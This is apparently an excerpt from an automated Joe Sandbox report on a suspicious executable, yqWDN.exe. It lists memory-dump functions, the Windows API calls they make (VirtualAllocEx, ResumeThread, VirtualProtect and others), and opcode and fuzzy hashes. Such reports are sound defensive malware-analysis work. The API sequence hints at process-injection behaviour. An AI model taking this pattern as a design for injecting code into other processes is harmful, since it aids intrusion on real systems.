Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 088d5a3678c4c8ecc2d121d9c98b69501c6c94285a122406db5c8d94d351b59b
Instruction ID: 0d8dee674927d497927e6f4631106726ddc994bccaa1ae3df3c44a166fe89b3f
Opcode Fuzzy Hash: 088d5a3678c4c8ecc2d121d9c98b69501c6c94285a122406db5c8d94d351b59b
Instruction Fuzzy Hash: A2113AB1D00248DFDB50DFA9D88579EBBF4EF48314F1484AAD919A3351E738AA44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3778 Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04CF37EB

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: aa33d709e8d382e45490ca335e505b3884596e1a5030a3b97e4eb35abe504fdd
Instruction ID: 7dfcecb2d86e203f68e6731d8ebaf546a12dfbf199bd04516477d9cdcfd0f629
Opcode Fuzzy Hash: aa33d709e8d382e45490ca335e505b3884596e1a5030a3b97e4eb35abe504fdd
Instruction Fuzzy Hash: 5D1134B5800289DFCB10CF9AC884BDEBFF4FB48320F24841AE919A7210C339A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3780 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04CF37EB

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e84e2ebf2b8945ce86011c4f6dea399fd5178e4bfe12f50241a6b9bb0eaefecc
Instruction ID: 8a702b764d467547f10cc09415a5559aec25eb4098ae8968f1eb233e7a8f3b0f
Opcode Fuzzy Hash: e84e2ebf2b8945ce86011c4f6dea399fd5178e4bfe12f50241a6b9bb0eaefecc
Instruction Fuzzy Hash: 1E11F8B5900649DFCB10DF9AD884BDEBFF4FB48324F24841AE519A7250C375A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C69710 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 02C69776

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e880ec5ea69d3f8df1eb443c6fd586099ae2e4c789cc013dc67d256bf744922c
Instruction ID: 50a2f6701f9e5e714f241a3ca97f0d42678cfa3c2c66c7f9e3e556639732143c
Opcode Fuzzy Hash: e880ec5ea69d3f8df1eb443c6fd586099ae2e4c789cc013dc67d256bf744922c
Instruction Fuzzy Hash: 5D1110B5D002498FCB10CF9AC488BDEFBF8AF88224F14852AD829B7200C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3CFB Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04CF3D5D

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: daab80a79bdd8a8f9a756b24295dbf4edb8463525a78d1b3a8bad84feb66d449
Instruction ID: 605fd0acea17aba792fabf117472aca32a0d55b6ff35565236357afefd13b16e
Opcode Fuzzy Hash: daab80a79bdd8a8f9a756b24295dbf4edb8463525a78d1b3a8bad84feb66d449
Instruction Fuzzy Hash: 5C11C2B59002499FDB10DF9AD885BDEBBF8EB48324F14841AE959A7211C374A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C6FCA0 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 02C6FCFD

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: e7c68b401da9fecf64231c37c7269b637dd901da067aef506213df3b5570c0d1
Instruction ID: b2aa343bcfed3b821ad97f9e360fa4e3d69b4a80991f25a319066cbeb2c66700
Opcode Fuzzy Hash: e7c68b401da9fecf64231c37c7269b637dd901da067aef506213df3b5570c0d1
Instruction Fuzzy Hash: F51106B59002499FDB10DF9AD484BDEBBF8EB48324F20841AE815A7701C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF39DB Relevance: 1.5, APIs: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04CF3A3F

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0333b8f278ea4385645473b76d22498a7ef8049f092d7122a7f3b8e48ca7b751
Instruction ID: 9e5bdaf2aad886264af5e3b17f2fa7ab00084f7ff3e08bf8f8377830f4930654
Opcode Fuzzy Hash: 0333b8f278ea4385645473b76d22498a7ef8049f092d7122a7f3b8e48ca7b751
Instruction Fuzzy Hash: 181115B1800249CFCB10DF9AD884BDEBBF8EB48324F24841AD519A7351C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF3D00 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04CF3D5D

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 9e404b29702e2d21523e2be14ca896bfc95c7598e41639a6c30a49a1d2a3a6ea
Instruction ID: 778cc6d7b701114962b41595fc18aeb2bc860bfcdbd90bac12ec823b40a420fe
Opcode Fuzzy Hash: 9e404b29702e2d21523e2be14ca896bfc95c7598e41639a6c30a49a1d2a3a6ea
Instruction Fuzzy Hash: F111D3B5800249DFDB10DF9AD884BDEBBF8EB48324F14841AE959A7211C374A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C6FC9B Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 02C6FCFD

Memory Dump Source

Source File: 0000000F.00000002.373137415.0000000002C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2c60000_yqWDN.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 84e565e380bb32fb2c4ad6a6cab1d6547caffc3e7fc1e6f5e0e1aa38420e0e3f
Instruction ID: bf20b0ea16d24cb5b7a132f944affba6f7b885ef1afd6c7a3e91f677e5a95729
Opcode Fuzzy Hash: 84e565e380bb32fb2c4ad6a6cab1d6547caffc3e7fc1e6f5e0e1aa38420e0e3f
Instruction Fuzzy Hash: 571145B5800249CFDB10CF99D585BEEBBF4EB48324F20854AE859A7300C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04CF39E0 Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04CF3A3F

Memory Dump Source

Source File: 0000000F.00000002.378693090.0000000004CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4cf0000_yqWDN.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: efdcde08f23b4c39069f89edc892b15e5ce294b4cdc87a6d0338a9e0aa7889be
Instruction ID: 3fa3b370804a1664335f1f28a6471d82e4231f4b06205b502cf9b4412e80c9de
Opcode Fuzzy Hash: efdcde08f23b4c39069f89edc892b15e5ce294b4cdc87a6d0338a9e0aa7889be
Instruction Fuzzy Hash: C71127B1800249CFCB10DF9AD844BDEFBF8EB48324F20841AD519A7310C774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0113D4A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372286511.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_113d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22367060849f3af6c99fad811028324cca91435d2c6348da47b17d1e9b8795ac
Instruction ID: 6a7fa838e59fa44ad8a13975b7554790ff3e30b670a037aa4c0c60b60ba60852
Opcode Fuzzy Hash: 22367060849f3af6c99fad811028324cca91435d2c6348da47b17d1e9b8795ac
Instruction Fuzzy Hash: F52128B1504240DFDF09DF54E8C0B66BF75FBC4328F658569E9064B28AC336D855C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0125D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372406311.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_125d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1df2f515d8a16e735fb653fe76be4c3a743972be6752b09966c170ad21d6d7e
Instruction ID: e77bd028dc89fbee7d3dae870e8286935dd258dbe1f35c32dfbcf46f079bbc00
Opcode Fuzzy Hash: a1df2f515d8a16e735fb653fe76be4c3a743972be6752b09966c170ad21d6d7e
Instruction Fuzzy Hash: E52167B1514208DFDB41DF94C8C0B26BB61FB84364F24C66CED098B243C376D846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0125D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372406311.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_125d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 338d00a139269223b87b01db5f8515abd181e1bf789737f1b9ba59869026a974
Instruction ID: b32d6b23d6370963d1b907a25c17393581eb90dba58f3fd19b79205c013f0365
Opcode Fuzzy Hash: 338d00a139269223b87b01db5f8515abd181e1bf789737f1b9ba59869026a974
Instruction Fuzzy Hash: E82134B1518248DFDB51DF64D8C0B26BB65FB84364F24C96DED0A4B246C37AD807CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0125D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372406311.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_125d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64e40a8304ca229ffaae2799fa91f198b403f04802d0bdfdb65cf2a3d05c4c9b
Instruction ID: d5218278ebc8eba2255116d70009b8378539f6260395172e1bdb39f743700cdc
Opcode Fuzzy Hash: 64e40a8304ca229ffaae2799fa91f198b403f04802d0bdfdb65cf2a3d05c4c9b
Instruction Fuzzy Hash: D7219D755093848FDB02CF24D9D0B15BF71EB46314F28C5EAD9498B6A7C33AD84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0113D49B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372286511.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_113d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4244a9aae6d80b52576d8183ab5a55eec2a15cebe5e8ad83433696fc3d306fb5
Instruction ID: f1840641aeb3c9885e074650c42b9f9589bd032da5eee4fc0e5021a25f2c98d8
Opcode Fuzzy Hash: 4244a9aae6d80b52576d8183ab5a55eec2a15cebe5e8ad83433696fc3d306fb5
Instruction Fuzzy Hash: 9311B176904280CFDF16CF54E5C4B16BF72FB84324F2486A9D9054B65BC336D45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0125D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372406311.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_125d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7e01eeaf6b7fcf3c612de606988f7e81d04e4c628bf39ec0a86da91ad33e64
Instruction ID: fcb516011f13a8a349d7b7b3fb521a8b3868e4d395c09e17e81a48d1c325cec5
Opcode Fuzzy Hash: dc7e01eeaf6b7fcf3c612de606988f7e81d04e4c628bf39ec0a86da91ad33e64
Instruction Fuzzy Hash: 7411BB75904284DFDB42CF54D5C0B15BBB1FB84224F28C6ADDD498B657C33AD44ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0113D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372286511.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_113d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866cc1be59bd30b3d70f3238087c26eccb5294c84b3534f8c624d9b11dd54fd4
Instruction ID: cdc94896ea4c1994b7897de353ca777069ae00af179905d1b0d2aabcfa231021
Opcode Fuzzy Hash: 866cc1be59bd30b3d70f3238087c26eccb5294c84b3534f8c624d9b11dd54fd4
Instruction Fuzzy Hash: F9014C714087D09AEB165B95DC84766BB98EF8127CF09C519EE094B24BC3349804C672

Uniqueness

Uniqueness Score: -1.00%

Function 0113D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.372286511.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_113d000_yqWDN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 182157e552f12fe80c67616068fdc1ccd8e02f02a2505145dbdecea3f17d4f38
Instruction ID: 975f64504d1d255b85d41fce8e5fd6c774ebc9b8df5bc276f6e9459cedf036fc
Opcode Fuzzy Hash: 182157e552f12fe80c67616068fdc1ccd8e02f02a2505145dbdecea3f17d4f38
Instruction Fuzzy Hash: 19F0C2714046849EFB158E59DC84B62FF98EB81678F18C05AEE084B28BC3789848CAB1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: yqWDN.exePID: 7048, Parent PID: 3968COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	105
Total number of Limit Nodes:	6

Executed Functions

Function 012CB521 Relevance: 6.1, APIs: 4, Instructions: 123
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 012CB590
GetCurrentThread.KERNEL32 ref: 012CB5CD
GetCurrentProcess.KERNEL32 ref: 012CB60A
GetCurrentThreadId.KERNEL32 ref: 012CB663

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d658a32a7ee45c92482569ae4ec6cea41d9b8b47fb32d32d461795dc524e6799
Instruction ID: 6037e370f5852a272cdb796641cbb06746c2f479f93baafcf4b61518cdf7f55f
Opcode Fuzzy Hash: d658a32a7ee45c92482569ae4ec6cea41d9b8b47fb32d32d461795dc524e6799
Instruction Fuzzy Hash: 1F5163B0D006498FDB14CFAAD589BEEBBF0EF98354F248599E149A3390D7349948CF61

Uniqueness

Uniqueness Score: -1.00%

Function 012CB530 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 012CB590
GetCurrentThread.KERNEL32 ref: 012CB5CD
GetCurrentProcess.KERNEL32 ref: 012CB60A
GetCurrentThreadId.KERNEL32 ref: 012CB663

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b3f01a9234fe5d58786455acd3cfdde8754d9d6dc073f582e5b977d7be59c91a
Instruction ID: a14d9c872793b80327871c66d3e04512b9c4a9f96b05c4625c76e922e6532afc
Opcode Fuzzy Hash: b3f01a9234fe5d58786455acd3cfdde8754d9d6dc073f582e5b977d7be59c91a
Instruction Fuzzy Hash: 525164B0D006498FDB14CFAAD548BDEBBF0EF88354F248599E149A7350D734A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012CF921 Relevance: 1.7, APIs: 1, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 012CFB6A

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8457ddc383a566d46dd4f83c75f4e000b72f6de36b5b49999f333911fa769cd3
Instruction ID: bf8057648df689adbed87ad6808566402d03719aaacc45c018e08725b87123f8
Opcode Fuzzy Hash: 8457ddc383a566d46dd4f83c75f4e000b72f6de36b5b49999f333911fa769cd3
Instruction Fuzzy Hash: EA8183B2C043889FDF02CFA5C8946DDBFB1AF59314F19819AE944AB262D3348846CF51

Uniqueness

Uniqueness Score: -1.00%

Function 012C9530 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ce39a163636d3d4a20e55a7f3ace9969d48b3d1df51f8812dacde4f3d4875ac9
Instruction ID: ec535d929be4fd7238f7e745a3161fb6463a838f0b77ddac0a57d36336b9d836
Opcode Fuzzy Hash: ce39a163636d3d4a20e55a7f3ace9969d48b3d1df51f8812dacde4f3d4875ac9
Instruction Fuzzy Hash: 22714470A10B058FDB24DF2AD04579ABBF1FF88708F108A2DD69AD7A40DB75E845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012CFA4D Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 012CFB6A

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1b870cd3a0fc51e46f21f62b7f03ef51f9e9cd3bed533ac8b4e99418287b46b1
Instruction ID: ffc153cf795a7d9d86482b076c8e03b76d789c9475ae3b0945e3bef054e88ac3
Opcode Fuzzy Hash: 1b870cd3a0fc51e46f21f62b7f03ef51f9e9cd3bed533ac8b4e99418287b46b1
Instruction Fuzzy Hash: 5E51C2B1D103499FDB14CFA9C994ADEBFB1BF88314F24822EE515AB210D7749845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 012CFA58 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 012CFB6A

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e4c9448ba689358fa6122dea7493194515038f9656a28ebe980622f49cb91529
Instruction ID: 8cf5cc408105faf096adda9bff767d41cb8c64227f199bce2ac6e82ec0920d33
Opcode Fuzzy Hash: e4c9448ba689358fa6122dea7493194515038f9656a28ebe980622f49cb91529
Instruction Fuzzy Hash: 6F41C1B1D103099FDB14CFAAC984ADEBBB5FF88714F24822EE519AB210D7749845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 012CBB58 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012CBBE7

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3fc3653d768d06653fb81e762a016c55813d8b477a875f69b39e6562d79b8c90
Instruction ID: 58f5435266fe5065d74655f0ab80592d4bbe22e3799443f9296f3f41f64728f6
Opcode Fuzzy Hash: 3fc3653d768d06653fb81e762a016c55813d8b477a875f69b39e6562d79b8c90
Instruction Fuzzy Hash: 3D21E6B5D002599FDB10CFAAD485ADEFFF5EB58320F15801AE954A3310D3749945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 012CBB60 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012CBBE7

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1d354fbed003ed9b54cba88dc19618bd829dcdc0aaf9d2f126c8dba4cc83944c
Instruction ID: f39ea6ec5198e6df02ab5c761bb3466cf3794739980a829b37922e277ed2b1bf
Opcode Fuzzy Hash: 1d354fbed003ed9b54cba88dc19618bd829dcdc0aaf9d2f126c8dba4cc83944c
Instruction Fuzzy Hash: 5B21D3B5D002599FDB10CFAAD985ADEFBF8FB48324F14841AE954A3310D374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0719BD58 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0719BDCB

Memory Dump Source

Source File: 00000010.00000002.377826386.0000000007190000.00000040.00000800.00020000.00000000.sdmp, Offset: 07190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7190000_yqWDN.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0916d993a453c6c7728649182caec29eb7ba89025a31db8aa694be549d616c4b
Instruction ID: 48b80cf0d626da07b8739af2f5e18bb9877915d34b217a1068be1f06e9ab5d6d
Opcode Fuzzy Hash: 0916d993a453c6c7728649182caec29eb7ba89025a31db8aa694be549d616c4b
Instruction Fuzzy Hash: 3B2103B19002499FCB10CF9AD884BDEBBF4EB48324F10842AE458A7240D378A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 012C9990 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 012C9A02

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ed8bc4126abebbc62805812f9db2a4b841961993a9bb12b8ca707b4474cc4549
Instruction ID: f3b73589e58b1a6662875b3341f27472ac2386ae4c44004ad442f0bfc6e8e507
Opcode Fuzzy Hash: ed8bc4126abebbc62805812f9db2a4b841961993a9bb12b8ca707b4474cc4549
Instruction Fuzzy Hash: 111103B69002498FDB10CFAAD484ADEFBF4AF88314F14856EE555A7200C374A549CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 012C9998 Relevance: 1.6, APIs: 1, Instructions: 52
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,?,?), ref: 012C9A02

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7f5d57ee5c0296800bfe92a1bfd17b974f82c3016fb13c117d35c7cf1b8aab89
Instruction ID: 138f9965b5657b5045d4cfd1a77fea0ce456a6c34a53a0aaa4275e73870452f0
Opcode Fuzzy Hash: 7f5d57ee5c0296800bfe92a1bfd17b974f82c3016fb13c117d35c7cf1b8aab89
Instruction Fuzzy Hash: 1F1123B6D002498FDF10CFAAC844ADEFBF8EB88324F14852EE515A7200C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 012C911C Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,012C9543), ref: 012C9776

Memory Dump Source

Source File: 00000010.00000002.369780519.00000000012C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_12c0000_yqWDN.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f518be2ec91a7c6752d68483242a9debba4919cffedb56d2ec4127bf6693e2d2
Instruction ID: d9bd922503387dc642bd7d860f1f754c24570860d68ed907fe47d3505f4ebb0d
Opcode Fuzzy Hash: f518be2ec91a7c6752d68483242a9debba4919cffedb56d2ec4127bf6693e2d2
Instruction Fuzzy Hash: 3E1120B5D002498BCB24CF9AC448BDEBBF8EB89324F15855AD529B7200D375A549CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04C60702 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

GF{, xrefs: 04C606E5

Memory Dump Source

Source File: 00000010.00000002.374740764.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4c60000_yqWDN.jbxd

Similarity

API ID:
String ID: GF{
API String ID: 0-1065277956
Opcode ID: a3a0f5288fe87fe155800efd85a7f5ed2a133ec77af0d9acfb65feb4012c8c29
Instruction ID: d6d3d44841a573a08c63b2c22be85d857de34dfaee66b21ec0f7f5f8d565aaaf
Opcode Fuzzy Hash: a3a0f5288fe87fe155800efd85a7f5ed2a133ec77af0d9acfb65feb4012c8c29
Instruction Fuzzy Hash: F7F0F071D08286DBCB01CFA3CCC428CFFB1AA12160B28861AE05277292EB20B002DF05

Uniqueness

Uniqueness Score: -1.00%

